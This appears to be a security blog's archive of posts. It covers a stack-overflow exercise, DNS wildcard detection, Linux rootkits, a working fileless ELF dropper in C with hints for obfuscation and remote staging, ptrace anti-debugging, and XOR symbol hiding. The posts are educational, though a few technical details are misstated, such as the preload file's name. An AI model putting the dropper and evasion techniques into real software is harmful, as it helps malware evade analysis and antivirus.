[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
 -- R2 loves everyone, even Java coders, but less than others
 [0x08048370]> pdf @main
....
|           0x0804849b      e890feffff     call sym.imp.gets
|           0x080484a0      83c410         add esp, 0x10
|           0x080484a3      8b45f4         mov eax, dword [ebp - local_ch] ; stack4.c:13  if (cookie == 0x000d0a00) ; .//stack4.c:13
|           0x080484a6      3d000a0d00     cmp eax, 0xd0a00
|       ,=< 0x080484ab      7510           jne 0x80484bd
|       |   0x080484ad      83ec0c         sub esp, 0xc                ; stack4.c:14   printf("you win!\n"); ; .//stack4.c:14  .if (cookie == 0x000d0a00)
|       |   0x080484b0      686c850408     push str.you_win_ ; str.you_win_ ; "you win!" @ 0x804856c
|       |   0x080484b5      e886feffff     call sym.imp.puts
|       |   0x080484ba      83c410         add esp, 0x10
|       |   ; JMP XREF from 0x080484ab (sym.main)
|       `-> 0x080484bd      b800000000     mov eax, 0
|           0x080484c2      8b4dfc         mov ecx, dword [ebp - local_4h_2] ; stack4.c:15 } ; .//stack4.c:15  ..printf(\"you win!\n\");
....

We can see that there is a comparison (cmp) with the value of the cookie and if they are not equal, we jump over the block with the “you win”-string. Let me explain to you something I did not mention earlier. When gets is called in 0x0804849b, the program pushes the current location of the instruction pointer to the stack. It needs to know where to continue execution after the puts routine. Further it needs to know where the previous stack frame started, so it also remembers a frame pointer which points towards the previous stack frame. Thus our stack layout from above actually is as follows:

low addresses
--
buf[0]
--
...
--
buf[79]
--
4 Byte cookie
--
frame pointer
--
return address
--
high addresses

If we craft a special string we can overwrite the return address. Which return address would we like? 0x080484b0 seems like a good choice, since then we pass over the evil jump.

Well, this is left as an easy exercise for the determined reader. You would not learn anything more, if i give you the code. If you get stuck, think about endianness.

Dns Wildcard Detection

2024-02-19T00:00:00+00:00

Introduction

This blog post concerns how to detect wildcard DNS records. This is an important step, e.g., when enumeration subdomains using brute force, which is a common part of bug bounty hunting and CTF playing.

Background

A wildcard DNS record is a DNS record that matches any subdomain. An example is *.example.com that matches every subdomain that ends with .example.com.

Wildcards in DNS only work as the leftmost wildcard label. This means that *.example.com is valid. The resource records www.*.example.com and *www.example.com are both invalid. Further, wildcards can occur at any level except for some top level domain, i.e. *.www.example.com is again valid.

A wildcard matches only if the resource record does not exist. This means that even if there is a wildcard for *.example.com, we could have a different DNS record for www.example.com, as that is not matched by the wildcard.

There are multiple RFCs regarding DNS wildcards, such as RFC 1034 RFC 4592. There are additional clarifications in RFC 1912.

Still, wildcard matching is unintuitive and badly defined. To quote RFC 1912, “A common mistake is thinking that a wildcard MX for a zone will apply to all hosts in the zone. A wildcard MX will apply only to names in the zone which aren’t listed in the DNS at all.” That means, if there is a wildcard MX for *.example.com, and an A record (but no MX record) for www.example.com, the correct response (as per RFC 1034) to an MX request for www.example.com is “no error, but no data”. This is in contrast to the expected response of the MX record attached to *.example.com.

Note that this is only according to the specification, and implementations can differ wildly.

Additionally, funny things can happen if wildcard DNS records interact with load balancers. As an example, if there is a wildcard DNS entry *.example.com, then abc.example.com and def.example.com could still (deterministically) resolve to different IP addresses due to the presence of a DNS load balancer.

Wildcard Detection

When enumeration subdomains of a domain using tools such as gobuster, dnsx, or similar, we are interested only in the real domains that offer web services. This means we have to detect if we have a wildcard match or a real domain.

Detection Approach 1: Querying Nonexistent Subdomains

One approach that is often recommended on the Internet to detect the presence of a wildcard DNS entry is to query for <somerandomstring>.example.com. If the string is long enough, then the probability that this subdomain exists is negligible. If an A record is returned, there probably exists a wildcard DNS record *.example.com. The probability of an incorrect detection can be decreased further when querying different random subdomains.

Advantage: We can detect the presence of a DNS wildcard with arbitrary precision.
Disadvantage: We cannot detect exceptions of the wildcards. Thus, if there is a resource record *.example.com and www.example.com, then we can not detect the presence of www.example.com.

Detection Approach 2: Querying the Wildcard Directly

An even more reliable approach for detecting the presence of a wildcard DNS entry is to query directly for *.example.com. This can be achieved for example using dig '*.example.com' If this record exists, then we know for sure that the wildcard DNS resource record exists.

Advantage: We are certain to detect the presence of a DNS wildcard.
Disadvantage: As above we cannot detect exceptions to the wildcards. Thus, if there is a resource record *.example.com and www.example.com, then we can not detect the presence of www.example.com.

Detection Approach 3: Counting Records

In order to additionally detect exceptions to the wildcards, we could count the different IPs that are returned. Then we reject those subdomains corresponding to frequent IPs, where frequent means “larger than some threshold”.

Suppose we perform DNS queries for

api.example.com
confluence.example.com
en.example.com
ftp.example.com
gitlab.example.com
k8s.example.com
wiki.example.com
www.example.com

Further, suppose that all these queries return the IP address 1.2.3.4, except for www.example.com that returns 4.3.2.1. Then we could heuristically reason that there is one DNS record for www.example.com, and one for *.example.com.

Advantage: With this detection approach, we can heuristically detect the wildcards, and some of the exceptions to the wildcards, that we have in our wordlist of queries.
Disadvantage: The disadvantage to this approach is that it only works heuristically, i.e., it is not reliable. It is possible that we detect wildcard records that do not exist. As an example, the resource records for the subdomains that resolve to 1.2.3.4 could all exist individually. This is often the case if they are hosted at some cloud provider, or in the case of the same shop in different languages and thus with different top level domains. However, with this method they are deemed as being wildcards, even though they are not. Further, we do not detect all wildcard records. As an example, consider that there is a wildcard domain that is combined with a DNS load balancer. In that case the DNS server returns multiple IPs for the same wildcard DNS entry. Our approach would (depending on the threshold) detect that these domains do not belong to wildcard records, even though they do.

Detection Approach 4: Counting Records and Querying Wildcards

This approach combines the two approaches explained above. First, we query for *.example.com. If this record does not exist, then we know that there is no such wildcard DNS resource record and we can continue with out wordlist. Even if all queried domains resolve to the same IP address, we know that this is not due a wildcard resource record. It could for example be due to a shared hosting environment.

If the wildcard record does exist, then we know that we have to deal with a wildcard DNS record. However, regarding the detection of exceptions, we are none the wiser and still continue with the wordlist. Frequent IPs are assumed to have been matched by the wildcard DNS record. However, this assumption could still be wrong. Infrequent IPs could still have been matched by the wildcard and be the result of DNS loadbalancing.

Advantage: We can reliably detect resource records belonging to a wildcard.
Disadvantage: We still cannot reliably detect the exceptions to the wildcard. We do not have the problem anymore, of detecting wildcard records that do not exist. But we still have the problem that we cannot reliably detect the exceptions to the wildcards. Again, if a wildcard resource record exists in combination with a load balancer, we get multiple different IPs for different queries. We cannot detect if these different responses are due to different DNS resource records or due to the load balancer returning different IPs for the same wildcard resource record. From the other perspective, if we know that we have a DNS wildcard record, then the web server at that IP may still serve different content depending on the virtual host that is requested. So in this scenario we also cannot reliably detect the exceptional domains.

A Survey Of Linux Rootkits

2023-10-24T00:00:00+00:00

Introduction

This blog post gives an overview of three types of Linux rootkits, ordered by their complexity.

Definitions

What is a rootkit? A rootkit is a program that is installed on a computer after it is breached. It allows the attacker to maintain a foothold on the system. Thus, it is a mechanism for achieving persistence. Consequently it should be stealthy, should survive reboots, and should offer a backdoor, so the attacker can again execute commands on the machine without repeating the steps that were taken in the initial compromise.

In the Linux world there are three main types of rootkits:

Simple Daemons
LD_PRELOAD Rootkits
Kernel Rootkits

1. Simple Daemons

Daemons are probably the easiest types of rootkits on Linux systems. They are simple jobs that are configured within the init system, such that they are started on boot. They have the form of an executable that is executed. An example is a systemd daemon, or an entry in /etc/rc.local.

Even though they are the easiest to program, they are also the easiest to detect. On this level, they can hardly offer any evasion capabilities. Consequently they can be found in the list of running processes, even though they may hide under a name that does not look suspicious.

2. LD_PRELOAD Rootkits

These rootkits are more complex to write than simple daemons. They are in the form of a library that is preloaded. As an example, if they are registered within /etc/ld.preload.so, they are preloaded for any other executable in user space.

These types of rootkits can offer library hooking functionalities in order to hook functions in libc. As an example, it is trivially possible to hook a function such as open(), so that it hides files with special filenames. This way, the library can hide itself, and the existence of /etc/ld.preload.so.

A minimal viable LD_PRELOAD rootkit hooks at least stat(), open(), opendir(), readdir(), unlink() and its 64bit counterparts.

Rootkits making use of this technique are fairly easy to maintain, as they are compatible with lots of different versions of libc and lots of different distributions.

The sophistication of their evasion capabilities is between those of simple daemons and kernel rootkits. Hooking library calls can hide then from common tools such as ls, cat, vim, ps and others. However, if one decides to search for them, they can still be detected.

As they only hook dynamically linked executables, they can be found using statically linked binaries, such as busybox. Another way to detect them is dumping the file system using dd and restoring the index and comparing that index to the output of a suitable find command. A third way of detection is by searching for the LD_PRELOAD environment variable. If the rootkit performs unsetenv(), the environment variable LD_PRELOAD is hidden from the command env. This can be achieved by executing unsetenv() in the constructor of the library, so that it is executed when the library loads. For this purpose, when using gcc it suffices to prefix the function with __attribute__((constructor)). However, the environment variable is still persistent in the mapping of the binary in memory, and thus can be detected, e.g. by executing cat /proc/self/environ.

If you are interested in source code of LD_PRELOAD rootkits, you can take a look at the following links.

3. Kernel Rootkits

The main problem with LD_PRELOAD rootkits is that they still reside in user space and have to hide from other user space programs. Consequently their stealthiness is limited.

While LD_PRELOAD rootkits can only hook other library functions, kernel rootkits are able to hook syscalls. In user space it is theoretically also possible to hook syscalls using the ptrace syscall, but that is laborious and has to be performed for each process.

Consequently it makes sense to install a rootkit inside kernel space. Beyond hooking syscalls and thus outsmarting statically and dynamically linked binaries, kernel rootkits can also modify the list of processes that are managed by the kernel in order to stay undetected. However, installing a kernel rootkit is more invasive compared to an LD_PRELOAD rootkit and may thus be easier to detect. Still, once installed, a sophisticated kernel rootkit is hard to detect, especially if the detection mechanisms reside in user space.

A major drawback of kernel rootkits is that they have to be targeted towards specific versions of kernels. If a new kernel is released, then the rootkit may not work anymore, as some functions are not available anymore. In particular, around kernel 2.6, the calling convention for functions changed. Consequently, maintaining reliable code for a kernel rootkit is a more extensive task.

If you are interested in kernel rootkits, a good candidate to study is Drovorub (see its excellent analysis by xcellerator or the official NSA/FBI advisory). This is a rootkit by the Russian APT group Fancy Bear. It has a kernel and a user space component. The kernel component hooks some syscalls to remove processes, files, and network sockets that would indicate its presence. The user space component is used to communicate with the kernel component, by writing commands to /dev/null. As an example these commands can hide network connections or files. The output of these commands can again be read from /dev/null.

While the functionality of this rootkit may not seem impressive and can probably be recreated within some weeks, the hard part is to maintain compatibility with different kernel versions.

A Fileless Elf Dropper

2023-09-28T00:00:00+00:00

Introduction

A dropper is a program that is used to execute malicious code on a computer. It is a kind of installer, that hides the malware from the antivirus system, and the analyst.

In a previous blog post, i described a dropper that I designed in Golang. It had (at least) two drawbacks:

The malware that is delivered needs to be in the form of position independent code, with all data inlined, so-called shellcode. While this works for a proof of concept, it cannot be used to drop ELF files. Thus, the malicious code, such as a stealer or remote access trojan needs to be converted to shellcode before it can be dropped with the previous dropper. That is cumbersome, especially for large programs.
The malicious code in the previous dropper was file-backed. In contrast, a fileless dropper executes the payload in memory only and thus is harder to detect.

This blog post takes care of both these drawbacks by describing a fileless ELF dropper. As the terminology in this area is not standardized, we could also call it a userspace exec implementation in memory.

The Payload

First of all we need a payload that we can drop. While a real payload of a dropper has some malicious purpose such as stealing credentials, as we are concentrating on the dropper we will use a small harmless payload.

// compile with gcc payload.c -o payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char buffer[1024];
    ssize_t len = readlink("/proc/self/exe", buffer, sizeof(buffer) - 1);

    if (len != -1) {
        buffer[len] = '\0';
        printf("My executable's file path is: %s\n", buffer);
    } else {
        perror("Error reading executable path");
    }
    return 0;
}

This payload returns the executable’s own file. While it may be possible to write this as shellcode in assembly, it is clear that larger programs become more cumbersome. That is the motivation for dropping ELF files directly.

$ gcc -o payload payload.c 
$ ./payload 
My executable's file path is: /home/user/<redacted>/payload

We can get the content of the payload binary as a static C array using xxd as follows.

$ xxd -i payload
unsigned char payload[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  ....
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int payload_len = 23592;

The Dropper

Now, on to designing the dropper. The idea is to create an anonymous file descriptor using memfd_create(). We write the ELF binary to this file descriptor. Consequently the ELF is not backed by memory, but resides only in RAM. The binary is then available in procfs at /proc/self/fd/%i, where %i is the return value of memfd_create(). Consequently, we can execute it using execl().

And that is basically everything there is to it.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>


unsigned char payload[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  ....
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int payload_len = 23592;

int main() {
    // Create an anonymous file descriptor
    int memfd = memfd_create("", MFD_CLOEXEC);
    if (memfd == -1) {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }

    // Write the payload to the memfd file descriptor
    write(memfd, payload, payload_len);

    // Create the string describing the file descriptor
    char * p;
    asprintf(&p, "/proc/self/fd/%i", memfd);

    // Execute the ELF binary at the anonymous file descriptor
    if (execl(p, NULL) == -1) {
        perror("execl");
        exit(EXIT_FAILURE);
    }

    // This code will not be reached if fexecve is successful
    exit(EXIT_SUCCESS);
}

Running the code looks as follows.

$ gcc -o dropper dropper.c 
$ ./dropper 
My executable's file path is: /memfd: (deleted)

Further Ideas

As the code shown covers only the dropping, i will add some points that should be included to make the code more production-ready.

Obfuscation: In the version shown above, the ELF file sits naked in the binary file of the dropper as a static array. This can be improved by using obfuscation based on base64 encoding or an encryption algorithm such as AES or RC4. Then, the ELF file is included in the dropper in obfuscated form, and before writing it to the anonymous file handle, it is deobfuscated.
Download ELF: Another idea is to not have the ELF file in the binary at all, but use a stager instead. The stager connects to a remote server, receives the (obfuscated) binary, and executes it. This way, the binary is not included in the original dropper.
Anti-RE: Currently, the code is easy to analyze using a debugger. Some anti-reverse engineering tricks could be added to spice things up.
Stealthiness: The shown trick is nearly only used by malware, and thus antivirus software will probably flag it. I am not yet sure how to improve that.

Epilogue

With great power comes great responsibility. Do not use this for malicious purposes and don’t be a jerk.

Some References

https://grugq.github.io/docs/ul_exec.txt
https://stackoverflow.com/questions/63208333/using-memfd-create-and-fexecve-to-run-elf-from-memory
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
https://0x00sec.org/t/super-stealthy-droppers/3715
https://www.guitmz.com/running-elf-from-memory/

The Ptrace Anti Re Trick Revisited

2023-09-15T00:00:00+00:00

Introduction

A previous blog post introduced a well-known anti reverse-engineering technique under Linux using ptrace. A program was introduced that showed different behavior on whether it is being debugged or not.

This program relied on the function ptrace(). The program executed ptrace() on itself, and if it failed, it concluded that it was debugged by another process.

In this blog post, we will go two steps further in the cat-and-mouse game of binary analysis. We will show how to defeat the previous trick so that the program can again be dynamically analyzed. And then we will show how to overcome this trick and make the life of the binary analyst hard again.

Background

In the last blog post we introduced the following program containing an Anti reverse-engineering mechanism. Its behavior depends on whether it is dynamically analyzed or not.

// compile with gcc -o selfptrace selfptrace.c
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    if (ptrace(PTRACE_TRACEME,0) < 0) {
        printf("I am traced");
        exit(1);
    }
    printf("I am not traced");
    return 0;
}

Its behaviour is as follows.

$ ./selfptrace
I am not traced

$ strace ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x7ffc1c38fb10 /* 67 vars */) = 0
....
ptrace(PTRACE_TRACEME)                  = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced)  = 11
exit_group(1)                           = ?
+++ exited with 1 +++

This program cannot be analyzed using dynamic analysis as dynamic analysis executes ptrace() on its target. However, then the ptrace() that is executed by the program on itself fails and we are in a different branch of execution.

Enabling Dynamic Analysis Again

In order to be able to dynamically analyze the program without altering its behaviour, we can hook the ptrace() function and substitute it by a fake ptrace() function that always returns zero.

First of all, let us look at the section .dynsym that contains the dynamic symbol table section of the binary file.

$ readelf --dyn-syms --wide selfptrace

Symbol table '.dynsym' contains 6 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.34 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND ptrace@GLIBC_2.2.5 (3)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (3)

We can clearly see that the function ptrace() of glibc is called, as the string ptrace@GLIBC_2.2.5 is present. Important note: There is also a syscall called ptrace(). The library call ptrace() provides a wrapper around this syscall.

We can now write a library that provides an alternative implementation of ptrace().

// compile with gcc bypass_ptrace_trick.c -o bypass_ptrace_trick.so -fPIC -shared
long ptrace(int request, int pid) {
    return 0;
}

This library is loaded using LD_PRELOAD as follows.

$ LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace
I am not traced

How can we strace this? We could export LD_PRELOAD=/bypass_ptrace_trick.so to set out fake library as an environment variable to preload, or use it directly in front of the strace command.

$ LD_PRELOAD=./bypass_ptrace_trick.so strace ./selfptrace

However, this leads to the strace process hanging, as we are also hooking the ptrace() functions that are executed within the strace command.

During researching on the internet I found the following two examples which again do not work.

$ export LD_PRELOAD=/bypass_ptrace_trick.so
$ ltrace -S -l ./bypass_ptrace_trick.so ./selfptrace
$ ltrace -l ./bypass_ptrace_trick.so -x @ ./selfptrace

Again, ltrace is broken, as the ptrace() functions in ltrace return zero.

The correct way of stracing a binary that is LD_PRELOADed with a library is using the parameter -E.

$ strace -E LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x5572e3ae5730 /* 68 vars */) = 0
...
openat(AT_FDCWD, "./bypass_ptrace_trick.so", O_RDONLY|O_CLOEXEC) = 3
...
write(1, "I am not traced", 15I am not traced)         = 15
exit_group(0)                           = ?
+++ exited with 0 +++

The Next Bypass

So now that we have seen how an analyst can substitute functions, how can we as developers that are interested in protecting our software defend against that? In fact, there are multiple ways.

The first approach is to not use the function ptrace(), instead the syscall of the same name, as was already shown at the end of the last blog post. In this case, the function cannot be hooked, as it is not a call to a library and thus is not resolved in the first place. In this case an analyst has to patch the binary and remove the jmp instruction for the respective branch, such that the branch is taken, that is usually taken when the program is not ptraced. This can again be circumvented by the developer, by checksumming the functions and checking if they have been altered. If that is the case, a separate execution branch can be taken.

However, the approach we want to take in the remainder is to stay on the level of C code (and not use inline assembly). One idea is to execute ptrace() twice on itself. If the process is not analyzed, then the first call to ptrace() succeeds and the second one fails. If the program is analyzed naively, then the first and the second ptrace() call on itself both fail. If the program is analyzed by a substituted ptrace() function, then both calls succeed.

// compile with gcc -o selfptrace2 selfptrace2.c
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    int state = 0;
    if (ptrace(PTRACE_TRACEME,0) == 0) {
        // if first ptrace suceeds, then we are not traced.
        state = 5;
    }
    if (ptrace(PTRACE_TRACEME,0) < 0) {
        // if second ptrace fails, then we are not traced.
        state *= 2;
    }

    if (state == 5*2) { // both conditions need to hold
        printf("I am not traced");
        return 0;
    } else {
        printf("I am traced");
        exit(1);
    }
}

As explained above, the program can again reliable detect if it is analyzed.

$ ./selfptrace2
I am not traced

$ strace ./selfptrace2
execve("./selfptrace2", ["./selfptrace2"], 0x7ffcfc6bd5e0 /* 67 vars */) = 0
...
ptrace(PTRACE_TRACEME)                  = -1 EPERM (The operation is not permitted)
ptrace(PTRACE_TRACEME)                  = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced)             = 11
exit_group(1)                           = ?
+++ exited with 1 +++

$ strace -E LD_PRELOAD=./bypass_ptrace_trick.so ./selfptrace2
execve("./selfptrace2", ["./selfptrace2"], 0x55ba89345730 /* 68 vars */) = 0
...
write(1, "I am traced", 11I am traced)             = 11
exit_group(1)                           = ?
+++ exited with 1 +++

This concludes my blog post. In a further step of the cat-and-mouse game, the analyst would have to dive on the level of assembly and patch the jumps manually.

Acknowledgements

Thanks to my colleague esj4y who told me about the -E argument of strace and thus helped me progress on this anti reversing journey.

References

https://dev.to/nuculabs_dev/bypassing-ptrace-calls-with-ldpreload-on-linux-12jl
https://seblau.github.io/posts/linux-anti-debugging

Hidings Symbols Of Elf Files

2023-09-11T00:00:00+00:00

Introduction

This blog post describes how to hide symbols in ELF files from static analysis. While this may seem like a curious gadget, this approach is used in the real world to prevent software from being analyzed, e.g., in software protection mechanisms or malware.

As an example, we take a program that prints “Hallo World!” using the function puts from libc.

// compile with gcc -o main main.c

#include<stdio.h>

int main(){
    puts("Hallo World!");
    return 0;
}

When this is compiled, we can see that it works as expected:

$ ./main
Hallo World!

If we print all strings in the binary, e.g., using the UNIX tool strings we can see that the binary contains the string puts.

$ strings main | grep puts 
puts
puts@GLIBC_2.2.5

The goal of this blog post is to hide the symbol puts from such a static analysis method without altering the functionality. That means that the program should still print “Hallo World!” using the puts method, but in the compiled binary, the string puts should not be present.

In a real-world example the binary may have more complex functionality. The goal is, that a reverse engineer cannot simply dump all the functions by looking at the strings of the binary, but has to work harder.

Explanation

First and foremost, why is the string puts in the library to begin with?

This string is contained in the dynamic symbol table in the ELF section .dynsym. As far as I understand this table is used by the dynamic linker at runtime to find the function in libc.

$ readelf --dyn-syms --wide main

Symbol table '.dynsym' contains 4 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.34 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

First Step: Resolving Symbols at Runtime

As a first step, we will look for the location of the function puts within libc at runtime. For this, we open a handle to libc and obtain the address of the symbol puts using the function dlsym from dlfcn.h.

// compile with gcc -o hide1 hide1.c

#include<dlfcn.h>

int main(){
  // handle to libc
  void *handle = dlopen ("/lib64/libc.so.6", RTLD_LAZY);
  // function pointer to puts within libc
  long (*fp)(char *s);
  fp = dlsym(handle, "puts");
  fp("Hallo World!");
  return 0;
}

Note that in this program stdio.h is not imported. Thus, we have already removed the import symbol.

This time the string puts cannot be found in the .interp section. However, it is used as an argument to the function ``dlsym. As this function argument is a static string that is not changed during runtime, the compiler has decided to put the stringputsin the section.rodata`. This section contains read-only data.

$ readelf -x .rodata hide1

Hex dump of section '.rodata':
  0x00402000 01000200 00000000 00000000 00000000 ................
  0x00402010 2f6c6962 36342f6c 6962632e 736f2e36 /lib64/libc.so.6
  0x00402020 00707574 73004861 6c6c6f20 576f726c .puts.Hallo Worl
  0x00402030 642100                              d!.

Second Step: Putting Strings on the Heap

As a next step, we can remove the string puts from the argument to the function dlsym. We can store it in a variable and then invoke dlsym with the variable.

// compile with gcc -o hide2 hide2.c

#include<dlfcn.h>

int main(){
  char puts[] = "puts";
  // handle to libc
  void *handle = dlopen ("/lib64/libc.so.6", RTLD_LAZY);
  // function pointer to puts within libc
  long (*fp)(char *s);
  fp = dlsym(handle, puts);
  fp("Hallo World!");
  return 0;
}

Note that even though I have named the variable puts, this is not found in the compiled binary. Variables are usually just syntactic sugar for the human programmer and are substituted by memory addresses during compile time.

If we trace the library calls, we can see that dlopen and dlsym are called. The library function puts is not shown by the library call tracer ltrace.

$ ltrace hide2 
dlopen("/lib64/libc.so.6", 1)                                                                                        = 0x7f3577fed080
dlsym(0x7f3577fed080, "puts")                                                                                        = 0x7f3577c7b020
Hallo World!
+++ exited (status 0) +++

We can find in the binary string “puts” on the heap though. This is a further step forward, as we can now manipulate the string at runtime (in contrast to compiletime).

Third Approach: Deobfuscating Strings During Runtime

So, as a next step, we store an obfuscated string in the binary that is deobfuscated at runtime. In this concrete case, we use the xor-obfuscation. We store the string $! ' and T in the binary. Then, during runtime we compute $! ' xor TTTT which is equal to the string puts. As a next step, libc is loaded and a pointer to puts is obtained. The function at this pointer is then executed. And voila! We have executed the function puts without having the string puts in our binary at runtime.

// compile with gcc -o hide3 hide3.c

#include<dlfcn.h>

int main(){

  char puts[] = "$! '";
  // handle to libc
  void *handle = dlopen ("/lib64/libc.so.6", RTLD_LAZY);
  // function pointer to puts within libc
  long (*fp)(char *s);

  char key = 'T';
  int i = 0;
  for (i; i<sizeof(puts) - 1; i++) {
    puts[i] = puts[i]^key;
  }
  fp = dlsym(handle, puts);
  fp("Hallo World!");
  return 0;
}

Epilogue

This is not the most innovative approach to hide symbols in binaries. Further, usage of dlopen and dlsym is easily detected. Another approach is to directly use the syscall write instead of using libc. However, if library functions are not used at all, but only syscalls, that may also be suspicious.

So, while this may be a feasible approach when focussing on software protection mechanisms, in the case of malware development there is again a tradeoff between “easy to detect” on the one hand and “hard to detect, but suspicious” on the other hand.

Don’t use this for malicious purposes or in military environments.

The Ptrace Anti Re Trick

2023-08-26T00:00:00+00:00

Introduction

This blog post describes an old Anti-RE technique under Linux using the ptrace syscall. A program is introduced that shows different behavior on whether it is being debugged or not.

Background

When malware is analyzed, it tries to hide itself. There are various different techniques for this. As a first step, malware is often analyzed automatically in a sandbox, due to the high number of malware submissions at antivirus vendors.

This could previously be defeated by letting the program wait using the sleep syscall, before any malicious functionality is executed. Thus, the automated analysis likely runs into a timeout. As a next step in the cat-and-mouse-game antivirus vendors decided to remove sleep syscalls before analyzing the code. However, malware authors used different techniques to waste time, such as computing numerically intense tasks, such as prime factorizations or enough digits of pi. Other methods include checking for more than 8GB RAM, as usually desktop computers have this, but sandboxes not.

Introducing Ptrace

When the malware is reverse-engineered manually, then usually a debugger is involved. There is a neat trick to detect the presence of a debugger using the ptrace syscall.

The ptrace syscall is usually used to debug a process. It asks a program “Hey, may i debug you?”. And the program answers with “Yes, of course.”, or “No, go away!”. When it is already ptraced by another process, then it answers “No, go away!”.

So the idea is that a program can try to ptrace itself (from the same thread). If that fails, then it is already being ptraced by another process, that may be operated by some reverse-engineer. Hence, the program can alter its behavior if it is reverse-engineered. And that is why it is called an Anti-Reverse-Engineering (Anti-RE) technique.

A C Program

First, we show a high-level version in C.

// compile with gcc -o selfptrace selfptrace.c
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    if (ptrace(PTRACE_TRACEME,0) < 0) {
        printf("I am traced");
        exit(1);
    }
    printf("I am not traced");
    return 0;
}

If this program is executed without a debugger, then it prints that it is not traced:

$ ./selfptrace
I am not traced

If, however, it is executed from a debugger, such as executing it with strace or radare2, it prints that it is traced.

$ strace ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x7ffc1c38fb10 /* 67 vars */) = 0
....
ptrace(PTRACE_TRACEME)                  = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced)  = 11
exit_group(1)                           = ?
+++ exited with 1 +++

$ r2 -Ad selfptrace
[0x7fc50d772d80]> dc
I am traced(2888) Process exited with status=0x100

The Same Trick in Assembly

As we are 1337 coderz, we can do the same trick directly in assembly.

; compile with
; nasm -f elf64 -o selfptrace.o selfptrace.asm
; ld -o selfptrace.out selfptrace.o

BITS 64

global _start

section .text       ; section declaration

_start:
  mov rax, 101      ; ptrace syscall is 101 (see /usr/include/asm/unistd_64.h)
  mov rdi, 0        ; PTRACE_TRACEME is 0
  mov rsi, 0
  syscall           ; execute

  cmp rax, 0
  jl traced

not_traced:
  call print_not_traced ; put string on stack
  msg_n_tr db "I am not traced!", 16
print_not_traced:
  mov rax, 1        ; write syscall
  mov rdi, 1        ; stdout file descriptor in destination index (di)
  pop rsi           ; put message in source index (si)
  mov rdx, 17       ; length of the message
  syscall           ; execute

  jmp end

traced:
  call print_traced ; put string on stack
  msg_tr db "I am traced!", 12
print_traced:
  mov rax, 1        ; write syscall
  mov rdi, 1        ; stdout file descriptor in destination index (di)
  pop rsi           ; put message in source index (si)
  mov rdx, 12       ; length of the message
  syscall           ; execute

end:
  mov rax, 60       ; exit syscall
  mov rdi, 0        ; return value success
  syscall           ; execute

I will not show the output of running it with and without a debugger again, as it is similar to the output above.

Epilogue

As any lazy hacker with few knowledge of morals writes at the end of its articles: “Don’t use this for malicious purposes. This is for educational use only.”

Now go and write some interesting code.

Culture Industry

2023-08-05T00:00:00+00:00

Introduction

This is an explanation of (and a rant about) the culture industry. Originally the notion of culture industry is due to Adorno and Horckheimer, two Jews who fled Nazi Germany. Then in America they wrote the book “Dialectic of Enlightenment” which was publicized in 1947, where they criticize the uniformity of American culture. Unfortunately that book is hard to read, so i decided to explain their concept of culture industry in layman’s terms.

Culture Industry

Films and radio no longer need to present themselves as art. The truth that they are nothing but business is used as an ideology to legitimize the trash they intentionally produce. They call themselves industries, and the published figures for their directors incomes quell any doubts about the social necessity of their finished products.

“Theodor W. Adorno, Max Horkheimer - Dialectic of Enlightenment”

Culture industry is about pop culture. This type of culture is not created by ordinary people, but concerns cultural products that are marketed via mass media and then advertised towards mass consumption. Ordinary people only consume pop culture and are not a part their creation.

